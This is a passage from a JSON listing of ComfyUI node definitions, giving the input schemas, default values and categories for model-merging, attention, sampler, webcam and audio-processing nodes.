"transformer_blocks.47.", "transformer_blocks.48.", "transformer_blocks.49.", "transformer_blocks.50.", "transformer_blocks.51.", "transformer_blocks.52.", "transformer_blocks.53.", "transformer_blocks.54.", "transformer_blocks.55.", "transformer_blocks.56.", "transformer_blocks.57.", "transformer_blocks.58.", "transformer_blocks.59.", "proj_out."]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeQwenImage", "display_name": "ModelMergeQwenImage", "description": "", "python_module": "comfy_extras.nodes_model_merging_model_specific", "category": "model/merging/model specific", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelMergeKrea2": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "first.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "tmlp.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "txtmlp.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "tproj.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "txtfusion.layerwise_blocks.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "txtfusion.layerwise_blocks.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "txtfusion.projector.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "txtfusion.refiner_blocks.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "txtfusion.refiner_blocks.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.4.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.5.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.6.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.7.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.8.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.9.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.10.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.11.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.12.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.13.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.14.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.15.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.16.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.17.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.18.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.19.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.20.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.21.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.22.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.23.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.24.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.25.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.26.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.27.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "last.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "first.", "tmlp.", "txtmlp.", "tproj.", "txtfusion.layerwise_blocks.0.", "txtfusion.layerwise_blocks.1.", "txtfusion.projector.", "txtfusion.refiner_blocks.0.", "txtfusion.refiner_blocks.1.", "blocks.0.", "blocks.1.", "blocks.2.", "blocks.3.", "blocks.4.", "blocks.5.", "blocks.6.", "blocks.7.", "blocks.8.", "blocks.9.", "blocks.10.", "blocks.11.", "blocks.12.", "blocks.13.", "blocks.14.", "blocks.15.", "blocks.16.", "blocks.17.", "blocks.18.", "blocks.19.", "blocks.20.", "blocks.21.", "blocks.22.", "blocks.23.", "blocks.24.", "blocks.25.", "blocks.26.", "blocks.27.", "last."]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeKrea2", "display_name": "ModelMergeKrea2", "description": "", "python_module": "comfy_extras.nodes_model_merging_model_specific", "category": "model/merging/model specific", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "PerturbedAttentionGuidance": {"input": {"required": {"model": ["MODEL", {}], "scale": ["FLOAT", {"default": 3.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": 0.01}]}}, "input_order": {"required": ["model", "scale"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "PerturbedAttentionGuidance", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_pag", "category": "model/patch/unet", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "AlignYourStepsScheduler": {"input": {"required": {"model_type": ["COMBO", {"multiselect": false, "options": ["SD1", "SDXL", "SVD"]}], "steps": ["INT", {"default": 10, "min": 1, "max": 10000}], "denoise": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model_type", "steps", "denoise"]}, "is_input_list": false, "output": ["SIGMAS"], "output_is_list": [false], "output_name": ["SIGMAS"], "output_tooltips": [null], "output_matchtypes": null, "name": "AlignYourStepsScheduler", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_align_your_steps", "category": "model/sampling/schedulers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["AYS scheduler"], "essentials_category": null, "has_intermediate_output": false}, "UNetSelfAttentionMultiply": {"input": {"required": {"model": ["MODEL", {}], "q": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "k": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "v": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "out": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["model", "q", "k", "v", "out"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "UNetSelfAttentionMultiply", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_attention_multiply", "category": "experimental/attention_experiments", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "UNetCrossAttentionMultiply": {"input": {"required": {"model": ["MODEL", {}], "q": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "k": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "v": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "out": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["model", "q", "k", "v", "out"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "UNetCrossAttentionMultiply", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_attention_multiply", "category": "experimental/attention_experiments", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "CLIPAttentionMultiply": {"input": {"required": {"clip": ["CLIP", {}], "q": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "k": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "v": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "out": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["clip", "q", "k", "v", "out"]}, "is_input_list": false, "output": ["CLIP"], "output_is_list": [false], "output_name": ["CLIP"], "output_tooltips": [null], "output_matchtypes": null, "name": "CLIPAttentionMultiply", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_attention_multiply", "category": "experimental/attention_experiments", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["clip attention scale", "text encoder attention"], "essentials_category": null, "has_intermediate_output": false}, "UNetTemporalAttentionMultiply": {"input": {"required": {"model": ["MODEL", {}], "self_structural": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "self_temporal": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "cross_structural": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "cross_temporal": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["model", "self_structural", "self_temporal", "cross_structural", "cross_temporal"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "UNetTemporalAttentionMultiply", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_attention_multiply", "category": "experimental/attention_experiments", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SamplerLCMUpscale": {"input": {"required": {"scale_ratio": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.1, "max": 20.0, "step": 0.01}], "scale_steps": ["INT", {"advanced": true, "default": -1, "min": -1, "max": 1000, "step": 1}], "upscale_method": ["COMBO", {"multiselect": false, "options": ["bislerp", "nearest-exact", "bilinear", "area", "bicubic"]}]}}, "input_order": {"required": ["scale_ratio", "scale_steps", "upscale_method"]}, "is_input_list": false, "output": ["SAMPLER"], "output_is_list": [false], "output_name": ["SAMPLER"], "output_tooltips": [null], "output_matchtypes": null, "name": "SamplerLCMUpscale", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_advanced_samplers", "category": "model/sampling/samplers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SamplerLCM": {"input": {"required": {"s_noise": ["FLOAT", {"tooltip": "Per-step noise multiplier at the first step (1.0 = match training).", "default": 1.0, "min": 0.0, "max": 64.0, "step": 0.01}], "s_noise_end": ["FLOAT", {"tooltip": "Per-step noise multiplier at the last step. Set equal to s_noise for a constant schedule.", "default": 1.0, "min": 0.0, "max": 64.0, "step": 0.01}], "noise_clip_std": ["FLOAT", {"tooltip": "Clamp per-step noise to +/- N*std. 0 disables.", "default": 0.0, "min": 0.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["s_noise", "s_noise_end", "noise_clip_std"]}, "is_input_list": false, "output": ["SAMPLER"], "output_is_list": [false], "output_name": ["SAMPLER"], "output_tooltips": [null], "output_matchtypes": null, "name": "SamplerLCM", "display_name": null, "description": "LCM sampler with tunable per-step noise. s_noise is a multiplier on the model's training noise scale", "python_module": "comfy_extras.nodes_advanced_samplers", "category": "model/sampling/samplers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SamplerEulerCFGpp": {"input": {"required": {"version": ["COMBO", {"advanced": true, "multiselect": false, "options": ["regular", "alternative"]}]}}, "input_order": {"required": ["version"]}, "is_input_list": false, "output": ["SAMPLER"], "output_is_list": [false], "output_name": ["SAMPLER"], "output_tooltips": [null], "output_matchtypes": null, "name": "SamplerEulerCFGpp", "display_name": "SamplerEulerCFG++", "description": "", "python_module": "comfy_extras.nodes_advanced_samplers", "category": "experimental", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WebcamCapture": {"input": {"required": {"image": ["WEBCAM", {}], "width": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 1}], "height": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 1}], "capture_on_queue": ["BOOLEAN", {"default": true}]}}, "input_order": {"required": ["image", "width", "height", "capture_on_queue"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "name": "WebcamCapture", "display_name": "Webcam Capture", "description": "", "python_module": "comfy_extras.nodes_webcam", "category": "image", "output_node": false, "has_intermediate_output": false, "search_aliases": ["camera input", "live capture", "camera feed", "snapshot"], "essentials_category": "Basics"}, "EmptyLatentAudio": {"input": {"required": {"seconds": ["FLOAT", {"default": 47.6, "min": 1.0, "max": 1000.0, "step": 0.1}], "batch_size": ["INT", {"tooltip": "The number of latent images in the batch.", "default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["seconds", "batch_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "EmptyLatentAudio", "display_name": "Empty Latent Audio", "description": "", "python_module": "comfy_extras.nodes_audio", "category": "model/latent", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": "Audio", "has_intermediate_output": false}, "VAEEncodeAudio": {"input": {"required": {"audio": ["AUDIO", {}], "vae": ["VAE", {}]}}, "input_order": {"required": ["audio", "vae"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "VAEEncodeAudio", "display_name": "VAE Encode Audio", "description": "", "python_module": "comfy_extras.nodes_audio", "category": "model/latent", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["audio to latent"], "essentials_category": null, "has_intermediate_output": false}, "VAEDecodeAudio": {"input": {"required": {"samples": ["LATENT", {}], "vae": ["VAE", {}]}}, "input_order": {"required": ["samples", "vae"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "VAEDecodeAudio", "display_name": "VAE Decode Audio", "description": "", "python_module": "comfy_extras.nodes_audio", "category": "model/latent", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["latent to audio"], "essentials_category": null, "has_intermediate_output": false}, "VAEDecodeAudioTiled": {"input": {"required": {"samples": ["LATENT", {}], "vae": ["VAE", {}], "tile_size": ["INT", {"default": 512, "min": 32, "max": 8192, "step": 8}], "overlap": ["INT", {"default": 64, "min": 0, "max": 1024, "step": 8}]}}, "input_order": {"required": ["samples", "vae", "tile_size", "overlap"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "VAEDecodeAudioTiled", "display_name": "VAE Decode Audio (Tiled)", "description": "", "python_module": "comfy_extras.nodes_audio", "category": "model/latent", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["latent to audio"], "essentials_category": null, "has_intermediate_output": false}, "SaveAudio": {"input": {"required": {"audio": ["AUDIO", {}], "filename_prefix": ["STRING", {"default": "audio/ComfyUI", "multiline": false}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["audio", "filename_prefix"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["audio"], "output_tooltips": [null], "output_matchtypes": null, "name": "SaveAudio", "display_name": "Save Audio (FLAC) (DEPRECATED)", "description": "", "python_module": "comfy_extras.nodes_audio", "category": "audio", "output_node": true, "deprecated": true, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["export flac"], "essentials_category": "Audio", "has_intermediate_output": false}, "SaveAudioMP3": {"input": {"required": {"audio": ["AUDIO", {}], "filename_prefix": ["STRING", {"default": "audio/ComfyUI", "multiline": false}], "quality": ["COMBO", {"default": "V0", "multiselect": false, "options": ["V0", "128k", "320k"]}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["audio", "filename_prefix", "quality"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["audio"], "output_tooltips": [null], "output_matchtypes": null, "name": "SaveAudioMP3", "display_name": "Save Audio (MP3) (DEPRECATED)", "description": "", "python_module": "comfy_extras.nodes_audio", "category": "audio", "output_node": true, "deprecated": true, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["export mp3"], "essentials_category": "Audio", "has_intermediate_output": false}, "SaveAudioOpus": {"input": {"required": {"audio": ["AUDIO", {}], "filename_prefix": ["STRING", {"default": "audio/ComfyUI", "multiline": false}], "quality": ["COMBO", {"default": "128k", "multiselect": false, "options": ["64k", "96k", "128k", "192k", "320k"]}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["audio", "filename_prefix", "quality"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["audio"], "output_tooltips": [null], "output_matchtypes": null, "name": "SaveAudioOpus", "display_name": "Save Audio (Opus) (DEPRECATED)", "description": "", "python_module": "comfy_extras.nodes_audio", "category": "audio", "output_node": true, "deprecated": true, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["export opus"], "essentials_category": null, "has_intermediate_output": false}, "SaveAudioAdvanced": {"input": {"required": {"audio": ["AUDIO", {"tooltip": "The audio to save."}], "filename_prefix": ["STRING", {"tooltip": "The prefix for the file to save. May include formatting tokens such as %date:yyyy-MM-dd%.", "default": "audio/ComfyUI", "multiline": false}], "format": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "The file format in which to save the audio.", "options": [{"key": "flac", "inputs": {"required": {}}}, {"key": "mp3", "inputs": {"required": {"quality": ["COMBO", {"default": "V0", "multiselect": false, "options": ["V0", "128k", "320k"]}]}}}, {"key": "opus", "inputs": {"required": {"quality": ["COMBO", {"default": "128k", "multiselect": false, "options": ["64k", "96k", "128k", "192k", "320k"]}]}}}]}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["audio", "filename_prefix", "format"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["audio"], "output_tooltips": [null], "output_matchtypes": null, "name": "SaveAudioAdvanced", "display_name": "Save Audio (Advanced)", "description": "Saves the input audio to your ComfyUI output directory.", "python_module": "comfy_extras.nodes_audio", "category": "audio", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["save audio", "export audio", "output audio", "write audio", "flac", "mp3", "opus"], "essentials_category": null, "has_intermediate_output": false}, "LoadAudio": {"input": {"required": {"audio": ["COMBO", {"multiselect": false, "options": [], "audio_upload": true}]}}, "input_order": {"required": ["audio"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "LoadAudio", "display_name": "Load Audio", "description": "", "python_module": "comfy_extras.nodes_audio", "category": "audio", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["import audio", "open audio", "audio file"], "essentials_category": "Audio", "has_intermediate_output": false}, "PreviewAudio": {"input": {"required": {"audio": ["AUDIO", {}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["audio"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["audio"], "output_tooltips": [null], "output_matchtypes": null, "name": "PreviewAudio", "display_name": "Preview Audio", "description": "", "python_module": "comfy_extras.nodes_audio", "category": "audio", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["play audio"], "essentials_category": null, "has_intermediate_output": false}, "ConditioningStableAudio": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "seconds_start": ["FLOAT", {"default": 0.0, "min": 0.0, "max": 1000.0, "step": 0.1}], "seconds_total": ["FLOAT", {"default": 47.0, "min": 0.0, "max": 1000.0, "step": 0.1}]}}, "input_order": {"required": ["positive", "negative", "seconds_start", "seconds_total"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING"], "output_is_list": [false, false], "output_name": ["positive", "negative"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "ConditioningStableAudio", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_audio", "category": "model/conditioning/stable audio", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RecordAudio": {"input": {"required": {"audio": ["AUDIO_RECORD", {}]}}, "input_order": {"required": ["audio"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "RecordAudio", "display_name": "Record Audio", "description": "", "python_module": "comfy_extras.nodes_audio", "category": "audio", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["microphone input", "audio capture", "voice input"], "essentials_category": null, "has_intermediate_output": false}, "TrimAudioDuration": {"input": {"required": {"audio": ["AUDIO", {}], "start_index": ["FLOAT", {"tooltip": "Start time in seconds, can be negative to count from the end (supports sub-seconds).", "default": 0.0, "min": -18446744073709551615, "max": 18446744073709551615, "step": 0.01}], "duration": ["FLOAT", {"tooltip": "Duration in seconds", "default": 60.0, "min": 0.0, "step": 0.01}]}}, "input_order": {"required": ["audio", "start_index", "duration"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "TrimAudioDuration", "display_name": "Trim Audio Duration", "description": "Trim audio tensor into chosen time range.", "python_module": "comfy_extras.nodes_audio", "category": "audio", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["cut audio", "audio clip", "shorten audio"], "essentials_category": null, "has_intermediate_output": false}, "SplitAudioChannels": {"input": {"required": {"audio": ["AUDIO", {}]}}, "input_order": {"required": ["audio"]}, "is_input_list": false, "output": ["AUDIO", "AUDIO"], "output_is_list": [false, false], "output_name": ["left", "right"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "SplitAudioChannels", "display_name": "Split Audio Channels", "description": "Separates the audio into left and right channels.", "python_module": "comfy_extras.nodes_audio", "category": "audio", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["stereo to mono"], "essentials_category": null, "has_intermediate_output": false}, "JoinAudioChannels": {"input": {"required": {"audio_left": ["AUDIO", {}], "audio_right": ["AUDIO", {}]}}, "input_order": {"required": ["audio_left", "audio_right"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["audio"], "output_tooltips": [null], "output_matchtypes": null, "name": "JoinAudioChannels", "display_name": "Join Audio Channels", "description": "Joins left and right mono audio channels into a stereo audio.", "python_module": "comfy_extras.nodes_audio", "category": "audio", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "AudioConcat": {"input": {"required": {"audio1": ["AUDIO", {}], "audio2": ["AUDIO", {}], "direction": ["COMBO", {"tooltip": "Whether to append audio2 after or before audio1.", "default": "after", "multiselect": false, "options": ["after", "before"]}]}}, "input_order": {"required": ["audio1", "audio2", "direction"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "AudioConcat", "display_name": "Concatenate Audio", "description": "Concatenates the audio1 to audio2 in the specified direction.", "python_module": "comfy_extras.nodes_audio", "category": "audio", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["join audio", "combine audio", "append audio"], "essentials_category": null, "has_intermediate_output": false}, "AudioMerge": {"input": {"required": {"audio1": ["AUDIO", {}], "audio2": ["AUDIO", {}], "merge_method": ["COMBO", {"tooltip": "The method used to combine the audio waveforms.", "multiselect": false, "options": ["add", "mean", "subtract", "multiply"]}]}}, "input_order": {"required": ["audio1", "audio2", "merge_method"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "AudioMerge", "display_name": "Merge Audio", "description": "Combine two audio tracks by overlaying their waveforms.", "python_module": "comfy_extras.nodes_audio", "category": "audio", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["mix audio", "overlay audio", "layer audio"], "essentials_category": null, "has_intermediate_output": false}, "AudioAdjustVolume": {"input": {"required": {"audio": ["AUDIO", {}], "volume": ["INT", {"tooltip": "Volume adjustment in decibels (dB). 0 = no change, +6 = double, -6 = half, etc", "default": 1, "min": -100, "max": 100}]}}, "input_order": {"required": ["audio", "volume"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "AudioAdjustVolume", "display_name": "Adjust Audio Volume", "description": "Adjust the volume of the audio by a specified amount in decibels (dB).", "python_module": "comfy_extras.nodes_audio", "category": "audio", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["audio gain", "loudness", "audio level"], "essentials_category": null, "has_intermediate_output": false}, "EmptyAudio": {"input": {"required": {"duration": ["FLOAT", {"tooltip": "Duration of the empty audio clip in seconds", "default": 60.0, "min": 0.0, "max": 18446744073709551615, "step": 0.01}], "sample_rate": ["INT", {"tooltip": "Sample rate of the empty audio clip.", "advanced": true, "default": 44100, "min": 1, "max": 192000}], "channels": ["INT", {"tooltip": "Number of audio channels (1 for mono, 2 for stereo).", "advanced": true, "default": 2, "min": 1, "max": 2}]}}, "input_order": {"required": ["duration", "sample_rate", "channels"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "EmptyAudio", "display_name": "Empty Audio", "description": "", "python_module": "comfy_extras.nodes_audio", "category": "audio", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["blank audio"], "essentials_category": null, "has_intermediate_output": false}, "AudioEqualizer3Band": {"input": {"required": {"audio": ["AUDIO", {}], "low_gain_dB": ["FLOAT", {"tooltip": "Gain for Low frequencies (Bass)", "default": 0.0, "min": -24.0, "max": 24.0, "step": 0.1}], "low_freq": ["INT", {"tooltip": "Cutoff frequency for Low shelf", "default": 100, "min": 20, "max": 500}], "mid_gain_dB": ["FLOAT", {"tooltip": "Gain for Mid frequencies", "default": 0.0, "min": -24.0, "max": 24.0, "step": 0.1}], "mid_freq": ["INT", {"tooltip": "Center frequency for Mids", "default": 1000, "min": 200, "max": 4000}], "mid_q": ["FLOAT", {"tooltip": "Q factor (bandwidth) for Mids", "default": 0.707, "min": 0.1, "max": 10.0, "step": 0.1}], "high_gain_dB": ["FLOAT", {"tooltip": "Gain for High frequencies (Treble)", "default": 0.0, "min": -24.0, "max": 24.0, "step": 0.1}], "high_freq": ["INT", {"tooltip": "Cutoff frequency for High shelf", "default": 5000, "min": 1000, "max": 15000}]}}, "input_order": {"required": ["audio", "low_gain_dB", "low_freq", "mid_gain_dB", "mid_freq", "mid_q", "high_gain_dB", "high_freq"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, 